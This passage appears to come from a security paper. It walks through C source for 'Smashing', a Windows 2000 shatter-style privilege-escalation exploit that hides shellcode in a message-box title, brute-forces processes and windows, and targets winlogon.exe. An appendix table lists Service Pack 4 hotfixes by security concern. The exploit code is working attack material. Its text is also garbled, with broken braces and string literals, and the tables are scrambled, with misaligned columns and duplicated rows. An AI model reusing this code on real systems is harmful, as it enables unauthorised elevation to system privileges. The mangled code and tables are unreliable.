    This is where it displays the options for the command line and checks to make sure at least two have been specified.
    // Whatever happens, we need our named pipe up and running ASAP.
    //Parse command-line and pass it to the thread
    if (argc < 2)
    {
        printf("Smashing v1.07 by Foon - ivegotta@tombom.co.uk\n");
        printf("Usage: Smashing [options] <Command line>\n");
        printf("Options:\n");
        printf("/i = Target process should be interactive\n");
        printf("/t = Send messages to threads instead of processes\n");
        printf("/m = Inject shellcode though a message box\n");
        printf("/e = Enumerate only, no exploiting\n");
        printf("/v = Verbose - repeat for very verbose\n");
        printf("/p:PID = Process ID to exploit\n");
        printf("/b = Bruteforce attack against all PIDs\n");
        printf("/w = Bruteforce attack against all windows\n");
        printf("NOTE: /p /b and /w options are mutually exclusive!\n");
        return;
    }

    Else

    This is it processes command line arguments that you have given

int CurrentParm;
int Commands = 0;
*Buffer = 0;
for (CurrentParm = 1; CurrentParm < argc; CurrentParm++)
{
    if (*argv[CurrentParm] == '/')
        switch (*argv[CurrentParm]+1)
        {
            case 'p':
                case 'P':
                    TargetPID = atoi(argv[CurrentParm] + 3);
                    if (!TargetPID)
                        {
                            printf("ERROR: Invalid PID specified in /p: switch!
"");
                            return;
                        }
#ifdef _DEBUG
                    printf("Target PID:
%d",TargetPID);
#endif
                    break;
            case 'i':
                case 'I':
                    Interactive = 1;
#ifdef _DEBUG
                    printf("Interactive switch specified
");
#endif
                    break;
            case 'e':
                case 'E':
                    EnumerateOnly = 1;
                    Verbosity = 2;
#ifdef _DEBUG
                    printf("Enumerate only switch specified
");
#endif
                    break;
            case 'w':
                case 'W':
                    WindowEnum = 1;
#ifdef _DEBUG
                    printf("Window bruteforce switch specified
");
#endif
                    break;
            case 'b':
                case 'B':
                    Bruteforce = 1;
#ifdef _DEBUG
                    printf("Bruteforce switch specified
");
#endif
                    break;
        }
break;

case 'm':
    UseMBox = 1;

#ifdef _DEBUG
    printf("Messagebox switch specified\n");
#endif

break;

case 't':
    ThreadMode = 1;

#ifdef _DEBUG
    printf("Thread mode specified\n");
#endif

break;

case 'v':
    Verbosity++;

#ifdef _DEBUG
    if (Verbosity == 1)
        printf("Verbose specified\n");
    else
        printf("Very verbose specified\n");
#endif

No options that were recognized were entered, process defaults start here.

break;

default:
    {
        int Parm;
        for (Parm = CurrentParm; Parm < argc; Parm++)
            {
                strcat(Buffer, argv[Parm]);
                strcat(Buffer, " ");
                CurrentParm++;
                Commands++;
            }

        break;
    }

else
    {
        Process the options and parameters that were recognized.

        {
            int Parm;
            for (Parm = CurrentParm; Parm < argc; Parm++)
                {
                    strcat(Buffer, argv[Parm]);
                }
        }
    }
strcat(Buffer," ");  
CurrentParm++;  
Commands++;  
}
}

if (!Commands && !EnumerateOnly)  
{
   printf("ERROR: no command found!\n");  
   return;
}

if ((TargetPID && Bruteforce) || (TargetPID && WindowEnum)  
|| (Bruteforce && WindowEnum))  
{
   printf("ERROR: Only specify one of the /p /b and /w  
switches!\n");  
   return;
}

}

if (Interactive)  
{
   strcat (Buffer,"\nWinSta0\nDefault");
}
else  
{
   char Name[128];
   int SizeNeeded;
   strcat(Buffer,"\n");
   GetUserObjectInformation(GetProcessWindowStation(),UOI_NAME,&Name,128,&SizeNeeded);
   strcat(Buffer,Name);
   GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()),UOI_NAME,&Name,128,&SizeNeeded);
   strcat(Buffer,"\n");
   strcat(Buffer,Name);
   if (Verbosity)
   {
      printf("Command to send to pipe (%d  
bytes):\n%s\n",strlen(Buffer),Buffer);
   
Step 4:  
If you are not running enumerate only, create a pipe to use for getting  
information from the threads – this is where we have started to perform  
the exploit.

//Start the pipe in another thread.
if (!EnumerateOnly)  
{
ThreadHandle = CreateThread(0,0,&PipeProc,Buffer,0,&ThreadID);
    if (!ThreadHandle)
    {
        printf("FATAL: Unable to create pipe thread, error %d\n",GetLastError());
        return;
    }

    //Retrieve command-line for Smashing
    //TODO: Cope with running Smashing from the path rather than current directory
    if (!strstr(argv[0],":\"))
    {
        GetCurrentDirectory(256,&CurrentProcess[0]);
        strcat(&CurrentProcess[0],"\");
        strcat(&CurrentProcess[0],argv[0]);
    }
    else
    {
        sprintf(&CurrentProcess[0],"%s",argv[0]);
    }

Step 5:
Call the function to build the FullShellCode Exploit Data.

    // Make shellcode into a full sploit.
    MakeSploit(&CurrentProcess[0]);

    if (UseMBox)
    {
        //Set up a message box containing our shellcode.
        //It's mapped into every process on the desktop, so we don't need to SetWindowText() :

        // Call MessageBox() from another thread so we don't get blocked.
        if (!CreateThread(0,0,&MBProc,Buffer,0,&ThreadID))
        {
            printf("FATAL: Unable to create message box thread, error %d\n",GetLastError());
            return;
        }
        else
        {
            int SleepTime;
            HWND MBWindow;
            if (Verbosity)
                printf("Message box thread created OK\n");

            //Find the message box window.
            //Might take a second or two, so sleep a little.
            //Check every 10 ms though, so it's not visible for long.
            for (SleepTime = 0; SleepTime < 300; SleepTime++)
            {
                MBWindow = FindWindow(0,"SMASH ME BABY!");
            }
        }
    }
if (MBWindow) break;
Sleep(10);
}
if (!MBWindow)
{
printf("FATAL: Unable to locate message box
window!\n");
return;
} else
{
//Found it! Hide it, and slap the shellcode in
the window title.
if (Verbosity)
{
printf("Message box window located\n");
ShowWindow(MBWindow,SW_HIDE);
// Note: SendMessageW. Unicode - MMMmmm....
SendMessageW(MBWindow,WM_SETTEXT,0,(DWORD)FullShellcode);
}
}
}

If using Window Enumeration attack, call the function EnumWindows to
perform the attack.

if (WindowEnum)
{
// We're attacking through window enumeration.
BOOL Result;
if (EnumerateOnly)
  Result = EnumWindows(&EnumWndCallback,1);
else
  Result = EnumWindows(&EnumWndCallback,(LPARAM)&CurrentProcess[0]);
if (!Result)
{
  printf("ERROR! Window enumeration failed (Code
%d)!\n",GetLastError());
  return;
}

If you are not using Windows Enumeration, check to see if we have
already found the correct Process ID to hack.

//Find PID to hack. If it's specified on command line...
else if (TargetPID)
{
  HackProcess(TargetPID, EnumerateOnly);
}
else
Otherwise search for the target Process ID to attack.

    // We have to iterate through processes.
    {  
        if (EnumProcesses(PIDs, 4000, &Returned))
        {
            DWORD CurrentPID;
            for (CurrentPID = 4; CurrentPID < (Returned / sizeof(DWORD)); CurrentPID++)
            {
                DWORD PID = *(PIDs + CurrentPID);
                if (CommandSent) break;
                // Iterating through all PIDs.
                if (Bruteforce)
                {
                    // We're bruteforcing. Hit every PID on the system, except us...:
                    if (PID != GetCurrentProcessId())
                    {
                        HackProcess(PID, EnumerateOnly);
                        PIDsHacked++;
                    }
                }
                else
                {
                    // We're trying to find winlogon.exe...
                    HANDLE ProcHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, PID);
                    if (ProcHandle)
                    {
                        HMODULE ModHandle[100];
                        DWORD Count;
                        if (EnumProcessModules(ProcHandle, &ModHandle[0], 100, &Count))
                        {
                            char Filename[256];
                            if (GetModuleFileNameEx(ProcHandle, ModHandle[0], &Filename[0], 256))
                            {
                                if (strstr(&Filename[0], "winlogon.exe"))
                                {
                                    HackProcess(PID, EnumerateOnly);
                                    TargetPID = PID;
                                    PIDsHacked++;
                                }
                            }
                        }
                    }
                }
            }
        }
    }

```
End of program, send appropriate message to console....

//Check if it worked.
if (!TargetPID && !Bruteforce && !WindowEnum)
{
    printf("Fatal error: Unable to locate winlogon.exe!\n");
    printf("Target PID can be forced using /p switch\n");
    return;
} else {
    if (Bruteforce)
        printf("Bruteforce complete - %d processes attempted\n", PIDsHacked);
    else if (WindowEnum)
    {
        printf("Window enumeration successful!\n");
    } else {
        if (PIDsHacked > 1)
            printf("%d processes attempted.\n", PIDsHacked);
        else
            printf("1 process attempted.\n");
    }

    // Before we quit, give the thread an extra second if it's not there already...
    // If the command has been sent, the thread will be dead, so this will return instantly.
    WaitForSingleObject(ThreadHandle,1000);
    if (CommandSent)
    {
        printf("The command was sent successfully.\n");
        printf("If it didn't work, you did something wrong - this program worked :)\n");
    } else if (!EnumerateOnly)
    {
        printf("The command was NOT sent.\n");
        printf("You should try again with a different attack vector ");
        if (Bruteforce)
            printf("(try /w)\n");
        if (WindowEnum)
            printf("(try /p)\n");
        if (TargetPID)
            printf("(try /b)\n");
    }
}
Appendix B: What are our vulnerabilities?

This table is the result of research of the bug fixes posted in SP4. The first 3 columns are the list as it is posted on the Microsoft site at [http://support.microsoft.com/?kbid=327194](http://support.microsoft.com/?kbid=327194). The notes column are quotes from the article number listed on the left side and are the reason why/why not this should be a concern in the environment. (For instance, if the Article pertained to Novell, it is not a concern.) In cases where a quick determination could not be made, the concern was rated as “?”. The first 20 are probable security concerns within the organization, four of which are privilege elevation problems (including the 6th one, which is the one demonstrated in this paper). The list has been sorted according to the concern rating for easier reference.

<table>
<thead>
<tr>
<th>Article number</th>
<th>Article title</th>
<th>Category</th>
<th>Notes</th>
<th>Concern?</th>
</tr>
</thead>
<tbody>
<tr>
<td>296441</td>
<td>MS01-022: WebDAV Service Provider Can Allow Scripts to Levy Requests as a User</td>
<td>Security</td>
<td>Microsoft has confirmed that this problem may cause a degree of security vulnerability</td>
<td>Yes</td>
</tr>
<tr>
<td>296455</td>
<td>MS02-055: Unchecked Buffer in Windows Help Facility May Allow Attacker to Run Code</td>
<td>Base operating system</td>
<td>This buffer may be exploited by a Web page that is hosted on an attacker’s site</td>
<td>Yes</td>
</tr>
<tr>
<td>323255</td>
<td>MS02-045: Unchecked Buffer in Network Share Provider May Lead to Denial-of-Service</td>
<td>Base operating system</td>
<td>By sending a specially-crafted packet request, an attacker can mount a denial-of-service attack on the target server computer</td>
<td>Yes</td>
</tr>
<tr>
<td>326830</td>
<td>MS02-070: Flaw in SMB Signing May Permit Group Policy to Be Modified</td>
<td>Base operating system</td>
<td>Microsoft has confirmed that this problem may cause a degree of security vulnerability</td>
<td>Yes</td>
</tr>
<tr>
<td>329130</td>
<td>Buffer Overrun in IIS When No Script Maps Exist</td>
<td>Directory services</td>
<td>no script maps exist for the Web site, a specially formatted URL can cause a buffer overrun, causing IIS to crash</td>
<td>Yes</td>
</tr>
<tr>
<td>329115</td>
<td>MS02-048: Flaw in Certificate Enrollment May Cause Digital Certificates to Be Deleted</td>
<td>Setup</td>
<td>Microsoft has confirmed that this problem may cause a degree of security vulnerability</td>
<td>Yes</td>
</tr>
<tr>
<td>323172</td>
<td>MS02-065: Buffer Overrun in Microsoft Data Access Components Can Lead to Code Execution (MDAC 2.6)</td>
<td>Management/administration</td>
<td>Microsoft has confirmed that this problem may cause a degree of security vulnerability</td>
<td>Yes</td>
</tr>
<tr>
<td>323161</td>
<td>MS02-042: Flaw in Network Connection Manager Can Cause Rights Elevation</td>
<td>Networking</td>
<td>Microsoft has confirmed that this problem may cause a degree of security vulnerability</td>
<td>Yes</td>
</tr>
<tr>
<td>320206</td>
<td>MS02-024: Authentication</td>
<td>Security</td>
<td>Microsoft has confirmed that this problem may cause a degree of security vulnerability</td>
<td>Yes</td>
</tr>
</tbody>
</table>
Can Cause Elevated Privileges
MS02-065: Buffer Overrun in Microsoft Data Access Components Can Lead to Code Execution (MDAC 2.6) Security
Microsoft has confirmed that this problem may cause a degree of security vulnerability

329414

MS03-010: Flaw in RPC Endpoint Mapper Could Allow Denial of Service Security
Microsoft has confirmed that this problem may cause a degree of security vulnerability

331953

Attacks
MS03-013: Buffer Overrun in Windows Kernel Message Handling Could Lead to Elevated Privileges Security
Microsoft has confirmed that this problem may cause a degree of security vulnerability

811493

MS03-024: Buffer Overrun in Windows Could Lead to Data Corruption Security
Microsoft has confirmed that this problem may cause a degree of security vulnerability

817606

MS03-030: Unchecked Buffer in DirectX Could Enable System Compromise Security
Microsoft has confirmed that this problem may cause a degree of security vulnerability

819696

MS03-025: Flaw in Windows Message Handling Through Utility Manager Could Enable Privilege Elevation Security
Microsoft has confirmed that this problem may cause a degree of security vulnerability

822679

Elevation
Adminstratively Assigned Offline Files Remain Available Offline After Being Moved to Another Folder Security
Yes

814201

MS03-008: Flaw in Windows Script Engine May Allow Code to Run Security
Microsoft has confirmed that this problem may cause a degree of security vulnerability

814078

Files May Appear to Be Empty with an Older Redirector Base operating system
No

327498

File Server Stops Responding (Hangs) When You Rename a File Error and blue screen
No

810340

A "Stop 0x0000001E" Error Occurs in Win32k.sys in Windows 2000 Rename a file on a remote Windows 2000-based file server
No

811363

BackupRead() Cannot Read a File with a 0-Byte Alternate Data Stream Base operating system
No

812802

Alternate Data Stream You Receive a "System Error 1230" Error Message When You Browse the Network Management/administration
No

318332

Network You Cannot Change Your Password After an Administrator Resets It administrator resets a user account password and then sets it to immediately expire
No

812499

The Win32_NetworkAdapterConfiguration.SetDNSServerSearchOrder Method Does Not Work My Network Places or by typing net view at
No

319021

Network The "Look In" and "Save As" Boxes in Common Dialog Boxes Are Slow persistent connections to network drives
No

321126

Directory services

318846

Directory services

318879

Directory services

318880

Directory services

318911

Directory services

318926

Directory services
<table>
<thead>
<tr>
<th>Issue ID</th>
<th>Description</th>
<th>Category</th>
<th>Resolution</th>
<th>Tags</th>
</tr>
</thead>
<tbody>
<tr>
<td>327129</td>
<td>A Computer Stops Responding During the Shutdown Process If a Service Does Not Start Your Profile Is Not Unloaded If You Change Printer Settings and Then Log Off</td>
<td>Management/administration</td>
<td>Y but not security</td>
<td></td>
</tr>
<tr>
<td>327984</td>
<td>ACC2002: The Updated Version of Microsoft Jet 4.0 Is Available in the Download Center FIX: STRFTIME Returns the Wrong Strings</td>
<td>Program compatibility</td>
<td>Microsoft JET Access database engine not used</td>
<td>N</td>
</tr>
<tr>
<td>282010</td>
<td>Computer with Multiple Processors and an AGP Video Adapter Hangs During Startup</td>
<td>Program compatibility</td>
<td>Multiple Processors</td>
<td>N</td>
</tr>
<tr>
<td>323130</td>
<td>FIX: Corrupted GIF Images May Cause an Access Violation in OLE</td>
<td>Program compatibility</td>
<td>Operability issue</td>
<td>N</td>
</tr>
<tr>
<td>324490</td>
<td>Cannot View Presentation Material When Participating in Data Conference</td>
<td>Program compatibility</td>
<td>Don't use data conference</td>
<td>N</td>
</tr>
<tr>
<td>328509</td>
<td>Corrupted Inbound Message Causes the SMTP Service to Stop or to Shut Down Unexpectedly</td>
<td>Program compatibility</td>
<td>Mail only</td>
<td>N</td>
</tr>
<tr>
<td>330716</td>
<td>IIS Admin Services Does Not Stay Running and Exchange SMTP Service Repeatedly Stops Access Violation Occurs in Fcachdll.dll</td>
<td>Program compatibility</td>
<td>Mail only</td>
<td>N</td>
</tr>
<tr>
<td>810014</td>
<td>Remote Retry Queue Length Counter Calculation Error</td>
<td>Program compatibility</td>
<td>IIS/Exchange/2K Server</td>
<td>N</td>
</tr>
<tr>
<td>811012</td>
<td>List of Program Compatibility Fixes in Windows 2000 Service Pack</td>
<td>Program compatibility</td>
<td>SMTP System Counter</td>
<td>N</td>
</tr>
<tr>
<td>815026</td>
<td>FIX: Memory Leak When You Use a GETENV Call in DllMain</td>
<td>Program compatibility</td>
<td>NetMeeting</td>
<td>N</td>
</tr>
<tr>
<td>815315</td>
<td>Auto Proxy Functions; isResolvable, dnsResolve, and mylpAddress Do Not Work as You Expect</td>
<td>Program compatibility</td>
<td>Microsoft Visual C++, 32-bit Editions 6.0 SP5</td>
<td>N</td>
</tr>
<tr>
<td>816941</td>
<td>Work as You Expect</td>
<td>Program compatibility</td>
<td>Win2K server</td>
<td>N</td>
</tr>
<tr>
<td>263939</td>
<td>Disk Performance May Degrade Over Time</td>
<td>Base operating system</td>
<td>Throughput problem</td>
<td>N</td>
</tr>
<tr>
<td>278710</td>
<td>No Global Groups Are Available Creating File-Share Resource Permissions in Cluster Administrator</td>
<td>Base operating system</td>
<td>Cluster Administrator</td>
<td>N</td>
</tr>
<tr>
<td>289261</td>
<td>Backup Takes Much Longer When PAE Is Enabled</td>
<td>Base operating system</td>
<td>Use NtBackup</td>
<td>N</td>
</tr>
<tr>
<td>291594</td>
<td>The Windows File Checker Utility Cannot Restore Protected Operating System Files</td>
<td>Base operating system</td>
<td>NetWare server</td>
<td>N</td>
</tr>
<tr>
<td>Event ID</td>
<td>Description</td>
<td>Base operating system</td>
<td>Issue Type</td>
<td></td>
</tr>
<tr>
<td>----------</td>
<td>-------------------------------------------------------------------------------------------------------------------------------</td>
<td>-----------------------</td>
<td>------------</td>
<td></td>
</tr>
<tr>
<td>309344</td>
<td>File Appears to Be Deleted Although You Do Not Have Permissions on the OS/2 Warp4-Based Server</td>
<td>IBM/OS2 Warp</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>313600</td>
<td>An Error Occurs in Usbhub.sys If It Is Used as a Composite Driver</td>
<td>USB hub</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>315829</td>
<td>Cancelled URB May Not Contain the Number of Bytes That Were Actually Transferred</td>
<td>USB</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>318107</td>
<td>No Audio on a Web Camera When You Resume from Hibernation</td>
<td>Web camera</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>318789</td>
<td>Redirector Does Not Cache Files When the SPARSE Attribute Is Set</td>
<td>Attributes set</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>318871</td>
<td>Problems Transferring Highly Fragmented Packets in NDIS</td>
<td>NDIS</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>319313</td>
<td>You May Receive a &quot;Tape Drive Requires Cleaning&quot; Error Message When You Try to Back Up</td>
<td>Tape Drive with MS</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>319326</td>
<td>Certain R2 PC Cards Are Incorrectly Enumerated as Memory Cards</td>
<td>R2 Cards</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>319473</td>
<td>FRS Does Not Replicate Files or Folders If the System Account Does Not Have Full Control of the Directory Tree</td>
<td>FRS</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>319588</td>
<td>Peripheral Hardware May Not Be Initialized During the Startup Process</td>
<td>Startup hardware</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>319913</td>
<td>The NET TIME Command May Report the GMT Bias Incorrectly</td>
<td>net time command</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>319931</td>
<td>Event ID 49 Entry Is Added to the System Event Log When You Use the 3GB Switch in Windows 2000</td>
<td>Switch</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>319967</td>
<td>You Cannot Open a File That You Moved to a DFS Share</td>
<td>Shared file system</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>320333</td>
<td>CPU Usage Rises to 100 Percent If You Charge the Battery Slowly While the Computer Is On</td>
<td>Cluster Log</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>320345</td>
<td>You Receive an &quot;NTLDR Is Missing&quot; Error Message When You Start Your Computer</td>
<td>CPU Charging</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>320397</td>
<td>You Cannot Take DFS Replica Members Offline</td>
<td>DFS</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>320661</td>
<td>Event Log Replication Entries Fill Windows 2000</td>
<td>Cluster Log</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>Code</td>
<td>Description</td>
<td>Component</td>
<td>Status</td>
<td></td>
</tr>
<tr>
<td>--------</td>
<td>-------------------------------------------------------------------------------------------------------------------------------------------------------</td>
<td>------------------------------------</td>
<td>--------</td>
<td></td>
</tr>
<tr>
<td>320865</td>
<td>RIS Setup Stops Responding at “Setup is Starting Windows” Screen</td>
<td>Base operating system</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>320877</td>
<td>One-Hour Delay Occurs During Startup with a USB Keyboard and PS/2 Mouse</td>
<td>Base operating system</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>321036</td>
<td>Modem Settings Are Missing After You Remove and Re-Insert Your Modem</td>
<td>Base operating system</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>321060</td>
<td>Raytheon RayLink Wireless PCMCIA LAN Adapter Does Not Start with a Code 12 RRAS Dial-on-Demand Interface Does Not Establish a Connection</td>
<td>Base operating system</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>321248</td>
<td>Establish a Connection Banner Page Always Prints When a Service That Needs to Print to a Novell</td>
<td>Base operating system</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>321522</td>
<td>NetWare Print Queue Prints Administratively Created DNS Records May Not Be Security-Enhanced</td>
<td>Base operating system</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>321610</td>
<td>An Access Violation Occurs in Spoolsv.exe</td>
<td>Base operating system</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>321623</td>
<td>Disk Management Snap-In Does Not Show a Disk with a Large Number of Partitions</td>
<td>Base operating system</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>321685</td>
<td>You Cannot Make Floppy Disk Controller Physically Probe Floppy Drives</td>
<td>Base operating system</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>321697</td>
<td>L2TP May Not Use the Default IP Address</td>
<td>Base operating system</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>322018</td>
<td>Input Language of Terminal Server Client Does Not Match That of Terminal Server Session</td>
<td>Base operating system</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>322042</td>
<td>Service Pack 3 Adds Updates to Several Windows 2000 Support Tools</td>
<td>Base operating system</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>322271</td>
<td>Computer Is Unresponsive When Hibernating</td>
<td>Base operating system</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>322377</td>
<td>UPN Credentials Cause CSNW to Omit the NDS Tree for Changing Your Password</td>
<td>Base operating system</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>322670</td>
<td>IEAK User Rights Deployment Build Is Not Installed If Windows</td>
<td>Base operating system</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>322811</td>
<td>Installer 2.0 Is Installed Disks Are Not Detected Correctly When You Add a Disk As a Cluster Resource</td>
<td>Base operating system</td>
<td>N</td>
<td></td>
</tr>
<tr>
<td>322945</td>
<td>Clustering</td>
<td>Base operating system</td>
<td>N</td>
<td></td>
</tr>
</tbody>
</table>
GlobalAlloc() in Ntvdm.exe May Return A Memory Handle That Is Not Valid
Logical Disk Partitions Are Lost or Damaged After You Upgrade from Windows NT 4.0 to Windows 2000
Delegation Wizard Only Reads One CONTROLRIGHT in Windows 2000
ASP Generates a New ASP SessionID Cookie for Every User Access
Cannot Remove a Computer from a Domain Because the Computer Name Is Not Found
Error Message if Windows 2000 Server Is Running Citrix Metaframe That Is Configured in a Load-Balancing Farm
Dumpfile Header and Header Size Information Are Incorrect
The Specified DNS Retry Interval Is Not Used
The DisablePagingExecutive Setting May Cause Access Violation in Lsass.exe Because of LDAP Version 2 Search with Referrals
Printing to a Redirected LPT1 from Windows XP to Windows 2000 Prints Multiple Separator Pages
FIX: DM_USER_DEFAULT Flag Is Not Set in the DOCUMENTPROPERTYHEADER Structure
Certificate Does Not Display the Ampersand (&) in a Company Name
Plug and Play Devices Are Not Detected After You Restart Your Windows 2000-Based Computer
Computer Enters Standby During IR File Transfer in Windows 2000
Windows 2000: Drive Letter Changes After You Restart Your Computer
No Files Are Displayed on Backup Tape or You Are Repeatedly Asked to Insert a Tape
After you set AspKeepSessionIDSecure to TRUE, Active Server Pages (ASP) generates a new ASP SessionID cookie for every user access when you use HTTPS applications.
Renaming a computer
Citrix
summary header structure of some dumpfiles may be incorrect
Windows 2000-based server is configured as a secondary DNS server for a zone,
Windows 2000 with the DisablePagingExecutive flag missing
Display in IE
Plug and Play devices may not be detected
IR Transfer
hard disk is a SCSI drive
Windows Backup
FIX: Memory Leak in Remote Procedure Call Server Service (RPCSS) Base operating system Performance Monitor (PerfMon) N

The WinNT Provider Returns an Incorrect Number of Domains in a Network Base operating system Domains in a Network N

Installing a Non-Plug and Play Driver for a PCI Device Base operating system Clusdisk.sys Driver N

The Cluster Service Detects Program that require many NT User handles may stop working when they reach approximately 10,000 handles N

RPC Errors 1726 and 1722 Base operating system Program that require many NT User handles may stop working when they reach approximately 10,000 handles N

Maximum NT User Handles Per Process Is 10,000 in Windows 2000 Base operating system Network Address Translation N

Windows 2000 NAT May Reuse TIME-WAIT Connections Before the 2MUL Period Base operating system N

Hibernation Problem with Computers with One Gigabyte of RAM Under High-Stress Conditions Base operating system N

The Clusdisk.sys Driver Does Not Permit Disks to Be Removed by Plug and Play Base operating system Clusdisk.sys Driver N

IAS Logs List an Incorrect IP Address for the Network Access Server Device Base operating system and is configured to use RADIUS Proxy N

Index Server 3.0 Does Not Correctly Index Some Excel Files Base operating system Index Server N

Error Message Occurs After you add new disks to a hardware RAID array When You Start Disk Management After Extending a Hardware Array Base operating system N

MSMQ: A Version Mismatch Between Mqmig.exe and Mqmigrat.dll Causes Primary Enterprise PEC Migration N

Controller Migration to Fail Removable Storage Recognizes the Tape Drive but It Does Not Recognize Any Media in the Drive Base operating system When you use a tape library on a Windows 2000-based or a Windows XP-based computer, Removable Storage Manager (RSM) recognizes N

Preventing Users from Putting Compressed Files on a File Server Base operating system Recommended practices N

Redirected Printing Through a Terminal Services Session May Not Work with Windows 2000 SP3 Base operating system Printing/Terminal Services N

Removing USB Hub Causes STOP 0x0000001E USB Hub N

Adding a Print Separator Page May Cause an Error Message Base operating system Error message N

Installing a Non-Plug and Play Driver for a PCI Device Base operating system Clusdisk.sys Driver N

The Cluster Service Detects Program that require many NT User handles may stop working when they reach approximately 10,000 handles N

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Preventing Users from Putting Compressed Files on a File Server Base operating system Recommended practices N

Redirected Printing Through a Terminal Services Session May Not Work with Windows 2000 SP3 Base operating system Printing/Terminal Services N

Removing USB Hub Causes STOP 0x0000001E USB Hub N

Adding a Print Separator Page May Cause an Error Message Base operating system Error message N
The Microsoft Message Queue Server Migration Tool Deletes the MsmqServices Object

An Access Violation Occurs When BizTalk Server Is Under a Heavy Load

Task Scheduler Jobs Do Not Work and Generate Error Code 0x8004130f Intermittently

List Is Cleared If You Accidentally Enter a Blank Line in the "Run Only Allowed Windows Applications" Policy

CreateMultiProfileTransform() Stops Working After 1,000 Calls and Then Leaks Memory

Security Group Policy Is Applied During Every Startup Process

Integrated Technology Express Devices May Not Work with Windows 2000

An Access Violation Occurs in Rsvpsp.dll

A Handle Leak Occurs in Mstask.exe

An Access Violation Occurs in Unregmp2.exe When You First Log On to Windows 2000

You May Receive a "Stop 0x1E" Error Message Intermittently in Windows 2000

Error Reported When ADSI MoveHere Function Runs Against Third-Party LDAP Server

MS02-063: Unchecked Buffer in PPTP Implementation May Permit Denial-of-Service Attacks

FTP Transfers by Using Network Address Translation May Not Work

Translation May Not Work Intermittently Program Unresponsiveness Occurs When You Use Performance Monitoring

A "Stop 0x0000001E" Error Occurs in the NetWare Redirector

Intermittent Name Resolution Issues and Event IDs 5501 and 6524 Are Logged to the DNS Server Event Log

81
<table>
<thead>
<tr>
<th>Code</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>331018</td>
<td>Files Larger Than 4 GB Are Truncated During a Restore If an EMC Device Is Used</td>
</tr>
<tr>
<td>331053</td>
<td>Volume Active Directory Passes Incorrect Security Microsoft Exchange 2000 Server in N</td>
</tr>
<tr>
<td>331330</td>
<td>Descriptors to Programs Mqbkup.exe Does Not Support a Virtual Cluster Service</td>
</tr>
<tr>
<td>331371</td>
<td>DHCP Vendor-Specific Options Longer Than 124 Bytes Are Not Sent From a Windows 2000-Based Computer By design</td>
</tr>
<tr>
<td>331910</td>
<td>DF Bit Is Incorrectly Set to Zero on All Packets Sent Dynamic Host Configuration Protocol (DHCP) option 43 (vendor-specific options) By design</td>
</tr>
<tr>
<td>332001</td>
<td>Slow Disk Performance When Write Caching Is Enabled remote procedure call (RPC) to communicate with a remote application, you may see active connections end.</td>
</tr>
<tr>
<td>332023</td>
<td>Active RPC Connections Are Closed certain stress conditions</td>
</tr>
<tr>
<td>810008</td>
<td>Stop 0x0E3 Error Occurs When Redirector Thread Tries to Release a Lock USB Devices</td>
</tr>
<tr>
<td>810038</td>
<td>Universal Serial Bus Devices Are Not Detected Intermittently When You Start or Resume the Computer</td>
</tr>
<tr>
<td>810090</td>
<td>Network Adapters Are Missing or Incorrect in Device Manager After You Run NTBackup to Restore System State Data Run NTBackup to Restore System Windows 2000 servers for Distributed File System</td>
</tr>
<tr>
<td>810161</td>
<td>Disabling Site Awareness for Windows 2000 DFS in a Windows NT 4.0 Domain disk hanging</td>
</tr>
<tr>
<td>810418</td>
<td>Server Intermittently Stops Responding During High Disk Activity back up the registry hive</td>
</tr>
<tr>
<td>810425</td>
<td>Stop 0x00000051 REGISTRY_ERROR Error Message When You Log On many clients are connecting to services (such as Microsoft Exchange Server View</td>
</tr>
<tr>
<td>811005</td>
<td>User Authentication to Services Such as Microsoft Exchange Server May Time Out on a Member Server View</td>
</tr>
<tr>
<td>811146</td>
<td>Percent Signs (%) Appear on Menus for Media Clips USB Storage Device Is Not Recognized After the Computer Resumes from Hibernation</td>
</tr>
<tr>
<td>811011</td>
<td>USB Storage Device N</td>
</tr>
</tbody>
</table>
Issues That Are Fixed in the Post-Service Pack 3 Release of Ntfrs.exe

File Replication service

Cannot Play Video CDs on Windows 2000

Video CDs

File Replication Service (FRS)

Stratus ftServer-Based Computer Stops Responding (Hangs) After a Surprise Removal of OpenHCI USB Host Controller

Stratus ftServer-Based

create a multithreaded debugger program

Debugging a Process Might Cause Handles to Leak

Base operating system

Backup Media

add the RAM

Cannot Restore Backup Media That Is Created by a Backup Operator

Base operating system

Backup Media

monitoring tools such as Tivoli and Netfinity Director

Paged Pool Memory Decreases as You Add RAM Memory Leak in Winmgmt.exe When You Run Monitoring Tools

Base operating system

multimedia hardware device

Multimedia Device Does Not Work After You Update Its Driver

Terminal Services Program May Run More Slowly on Windows 2000 Than on Windows NT 4.0

Base operating system

